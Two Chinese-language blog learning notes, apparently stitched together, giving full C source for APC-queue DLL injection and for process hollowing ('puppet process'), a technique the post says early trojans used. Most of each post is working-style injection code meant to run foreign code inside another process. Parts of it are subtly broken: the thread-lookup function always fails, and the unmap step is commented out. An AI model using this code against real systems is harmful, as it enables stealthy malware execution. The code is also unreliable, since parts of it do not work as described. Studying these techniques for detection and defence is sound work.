2020年3月

0x01 环境

系统:Windows 10
编译环境:MSVC x86
关键函数:QueueUserAPC 函数

0x02 线程 APC 队列简介

就是在正常函数之外的另外一个函数,类似于SEH在进程遇到异常的地位,默认情况下,创建线程时不会创建这个队列,当调用 QueueUserAPC函数时,就会为这个线程创建这个队列。创建 APC 队列的函数,一般使用 Wait 函数族或者 SleepEx 函数等带有 bAlertable 参数的函数进入一种假"警惕"的状态, 进入 Alertable 状态的线程,系统调度器会在线程函数本身处于"警惕"(暂停等待状态)时,调用线程 APC 队列中的函数。

0x03 原理及步骤

1.原理

在一个进程中,执行到SleepEx()或WaitForSingleObjectEx()时,系统就会产生一个“中断”,当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。我们就可以利用QueueUserAPC()这个API,以此去执行我们设定的代码,进而完成DLL注入的目的。

2.步骤

0.通过目标窗口名获取PID
1.利用快照枚举所有的线程找到与PID相等的TID
2.开辟远程内存空间,写入Dll的路径
3.插入我们的DLL即可

0x04 代码

#include <Windows.h>
#include <Tlhelp32.h>
#include <iostream>

// 用于保存线程 TID 的指针
ULONG *pThreadId = (ULONG * )malloc(sizeof(ULONG));

// 根据进程名称获取 PID
// ProcessName 进程名称
ULONG GetProcessIdByProcessName(char* ProcessName)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    //拍快照
    if (INVALID_HANDLE_VALUE == hSnapshot)
    {
        return 0;
    }

    PROCESSENTRY32 pi;
    pi.dwSize = sizeof(PROCESSENTRY32); //初始化成员
    BOOL bRet = Process32First(hSnapshot, &pi);
    while (bRet)
    {
        char Name[MAX_PATH] = { 0 };
        sprintf_s(Name, "%ls", pi.szExeFile);
        if (strcmp(Name, ProcessName) == 0)
        {
            return pi.th32ProcessID; // 返回PID
        }

        bRet = Process32Next(hSnapshot, &pi);
    }

    return 0;
}

// 根据 PID 获取获取相应的线程 TID
// ProcessId    进程 PID
// pThreadId   数组用于保存线程TID
// ThreadIdLen 用于返回数组实际长度
BOOL GetThreadIdByProcessId(ULONG ProcessId, ULONG* pThreadId, ULONG* ThreadIdLen)
{
    HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
    THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
    ULONG Number = 0;

    // 把所有线程拍一个快照
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hThreadSnap == INVALID_HANDLE_VALUE)
        return(FALSE);

    // 在使用 Thread32First 前初始化 THREADENTRY32 的结构大小.
    te32.dwSize = sizeof(THREADENTRY32);

    // 现在获取系统线程列表, 并显示与指定进程相关的每个线程的信息
    do {
        // 比对是否为该进程线程
        if (te32.th32OwnerProcessID == ProcessId)
        {
            // 是的话保存到线程数组中
            *pThreadId = te32.th32ThreadID;
            break;
        }
    } while (Thread32Next(hThreadSnap, &te32));

    if (!Number)
        return FALSE;

    return TRUE;
}

// APC注入
// ProcessName 要注入的进程名称
// DllName     要注入的DLL名称
BOOL ApcInjectDll(char* ProcessName, char* DllName)
{
    ULONG ProcessId = 0;
    ULONG IsFlag = TRUE;
    HANDLE hProcess = NULL, hThread = NULL;
    ULONG DllNameLen = strlen(DllName) + 1;
    PVOID pBaseAddr = NULL;
    ULONG dwRet = 0;
    PVOID pLoadLibraryA = NULL;
    ULONG ThreadIdsLen = 0;

    do
    {
        // 根据进程名称获取 PID
        ProcessId = GetProcessIdByProcessName(ProcessName);
        if (0 >= ProcessId)
        {
            printf("GetProcessIdByProcessName Error: %d\n", GetLastError());
            IsFlag = FALSE;
            break;
        }
        // 根据 PID 获取获取所有相应的线程 TID
        IsFlag = GetThreadIdByProcessId(ProcessId, pThreadId, &ThreadIdsLen);
        if (!IsFlag)
        {
            printf("GetAllThreadIdByProcessId Error: %x\n", GetLastError());
            IsFlag = FALSE;
            break;
        }
        // 打开注入线程
        hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
        if (hProcess == NULL)
        {

            printf("OpenProcess Error: %x\n", GetLastError());
            IsFlag = FALSE;
            break;
        }
        // 在注入的进程中申请空间
        pBaseAddr = VirtualAllocEx(hProcess, NULL, DllNameLen, MEM_COMMIT | MEM_RESERVE,
                PAGE_EXECUTE_READWRITE);
        if (pBaseAddr == NULL)
        {
            printf("VirtualAllocEx Error: %x\n", GetLastError());
            IsFlag = FALSE;
            break;
        }
        // 向申请的空间中写入 Dll 路径数据
        WriteProcessMemory(hProcess, pBaseAddr, DllName, DllNameLen, &dwRet);
        if (DllNameLen != dwRet)
        {
            printf("WriteProcessMemory Error: %x\n", GetLastError());
            IsFlag = FALSE;
            break;
        }

        hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, *pThreadId);
        if (hThread != NULL)
        {
            // 插入 APC
            if (!QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)pBaseAddr))
            {
                printf("QueueUserAPC Error: %x\n", GetLastError());
            }
            // 关闭线程句柄
            CloseHandle(hThread);
            hThread = NULL;
            printf("插入 APC 成功!\n");
        }

    } while (FALSE);

    CloseHandle(hProcess);
    return IsFlag;
}

int main()
{
    // 注入我们想要执行的DLL
    ApcInjectDll((char*)"TestExe.exe", (char*)"./Dll1.dll");
    system("pause");
    return 0;
}

0x05 总结及相关文章

总的来说APC注入对目标进程是有要求的,需要对方进入“警惕”状态下的,文章中的代码仅向目标进程的一个线程进行注入,如果有需要可以添加提权和枚举所有线程的操作。其次也在其他网站上看到APC队列的由来好像是和驱动文件有关系,所以在内核层面应该会有不一样的APC注入。
学习文章:
UserMode下的APC插入
APC异步过程调用
常见注入手法第二讲,APC注入(注意此方法中的示范代码并不能成功注入,个人认为是因为MFC消息机制等原因,原理是相似的)

0x00 环境

主机:Windows 10
IDE:VS 2019 (x86)

0x01 介绍

傀儡进程指将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程。在早期的木马程序中使用较广。实现傀儡进程必须要选择合适的时机,要在目标进程刚加载进内存后还未开始运行之前替换。

0x02 基本步骤

1.使用CreateProcess()函数创建挂起进程
2.使用GetThreadContext()函数获取进程上下文(寄存器状态)
3.清空目标进程(如果傀儡进程的大小必目标进程小的话这部可以省略)
4.VirtualAllocEx()重新分配空间,大小为傀儡进程大小
5.WriteProcessMemory()向分配的空间写入傀儡进程
6.恢复上下文,由于目标进程和傀儡进程的入口点一般不相同,因此在恢复之前,需要更改一下其中的线程入口点,需要用到SetThreadContext函数。将挂起的进程用ResumeThread函数释放运行。

0x03 具体代码

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <malloc.h>

int main(int argc, char* argv[])
{
    STARTUPINFOA stSi = { 0 };
    PROCESS_INFORMATION stPi = { 0 };
    stSi.cb = sizeof(stSi);
    LPCWSTR Filename = (LPCWSTR)L"目标进程完整目录";

    //1.创建挂起的目标进程
    if (!CreateProcess(Filename,
        NULL,
        NULL,
        NULL,
        NULL,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        &stSi,
        &stPi
    ))
    {
        printf("%d", GetLastError());
        return FALSE;
    }

    PTCHAR address = L"傀儡进程完整目录";
    HANDLE hFile = CreateFile(address, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 
                               NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Open EXE File Filed");
        printf("%d", GetLastError());
        return -1;
    }
    DWORD dwSize = GetFileSize(hFile, NULL);
    LPBYTE pAllocPE = NULL; 
    PBYTE pBuf = (PBYTE)malloc(dwSize);
    DWORD dwBytesRead = 0;
    ReadFile(hFile, (LPVOID)pBuf, dwSize, &dwBytesRead, NULL);
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(pBuf + pDosHeader->e_lfanew);


    //2.获取进程上下文
    CONTEXT stThreadContext;
    stThreadContext.ContextFlags = CONTEXT_FULL;
    if (GetThreadContext(stPi.hThread, &stThreadContext) == 0)
    {
        printf("CreateProcess failed (%d).\n", GetLastError());
        return FALSE;
    }

    ////3.清空目标进程

    //BOOL UnMapTargetProcess(HANDLE hProcess, CONTEXT * stThreadContext)
    //{
    //    DWORD dwProcessBaseAddr = 0;
    //    if (ReadProcessMemory(stPi.hProcess, (LPCVOID)(stThreadContext.Ebx + 8), &dwProcessBaseAddr, sizeof(PVOID), NULL) == 0)//读取目标进程对应地址
    //    {
    //        return FALSE;
    //    }
    //    HMODULE hNtModule = GetModuleHandle(_T("ntdll.dll"));//获取dll的句柄
    //    if (hNtModule == NULL)
    //    {
    //        return FALSE;
    //    }
    //    //手动寻找NtUnmapViewOfSection()的指针
    //    ZwUnmapViewOfSection  pfnZwUnmapViewOfSection = GetProcAddress(hNtModule, "ZwUnmapViewOfSection");
    //    if (pfnZwUnmapViewOfSection == NULL)
    //    {
    //        return FALSE;
    //    }
    //    return (pfnZwUnmapViewOfSection(stPi.hProcess, (PVOID)dwProcessBaseAddr) == 0);
    //}

    //4.重新分配空间
    void* lpAddr = VirtualAllocEx(stPi.hProcess, (LPVOID)pNtHeaders->OptionalHeader.ImageBase,
        pNtHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);//用Imagebase为起始地址避免了重定位。
    if (lpAddr == NULL)
    {
        printf("VirtualAlloc failed (%d).\n", GetLastError());
        return FALSE;
    }

    //5.写入傀儡进程
        // 替换PE头
    BOOL bRet = WriteProcessMemory(stPi.hProcess,
        lpAddr,
        (LPCVOID)pBuf,//指向要写的数据的指针。
        pNtHeaders->OptionalHeader.SizeOfHeaders,
        NULL);
    if (!bRet)
    {
        return FALSE;
    }
    // 替换节
    LPVOID lpSectionBaseAddr = (LPVOID)((DWORD)pBuf
        + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    PIMAGE_SECTION_HEADER pSectionHeader;
    DWORD dwIndex = 0;
    for (; dwIndex < pNtHeaders->FileHeader.NumberOfSections; ++dwIndex)
    {
        pSectionHeader = (PIMAGE_SECTION_HEADER)lpSectionBaseAddr;
        bRet = WriteProcessMemory(stPi.hProcess,
            (LPVOID)((DWORD)lpAddr + pSectionHeader->VirtualAddress),
            (LPCVOID)((DWORD)pBuf + pSectionHeader->PointerToRawData),
            pSectionHeader->SizeOfRawData,
            NULL);
        if (!bRet)
        {
            return FALSE;
        }
        lpSectionBaseAddr = (LPVOID)((DWORD)lpSectionBaseAddr + sizeof(IMAGE_SECTION_HEADER));
    }
    //6.恢复现场并运行傀儡进程
        // 替换PEB中基地址
    DWORD dwImageBase = pNtHeaders->OptionalHeader.ImageBase;
    bRet = WriteProcessMemory(stPi.hProcess, (LPVOID)(stThreadContext.Ebx + 8), (LPCVOID)&dwImageBase, sizeof(PVOID), NULL);
    if (!bRet)
    {
        return FALSE;
    }
    // 替换入口点
    stThreadContext.Eax = dwImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
    bRet = SetThreadContext(stPi.hThread, &stThreadContext);
    if (!bRet)
    {
        return FALSE;
    }
    ResumeThread(stPi.hThread);

    printf("PID: %d", stPi.dwProcessId);
    free(pBuf);
    return 0;
}

0x04 参考链接及反思

本文有参考以下链接文章:
傀儡进程技术实现
常见进程注入的实现及内存dump分析——Process Hollowing(冷注入)

反思:
1.本次学习了一些WIN API,不过对于未文档话的函数NtUnmapViewOfSection调用还是有点问题。
2.创建出来的目标进程的PID在任务管理器中看不到感觉有点奇怪。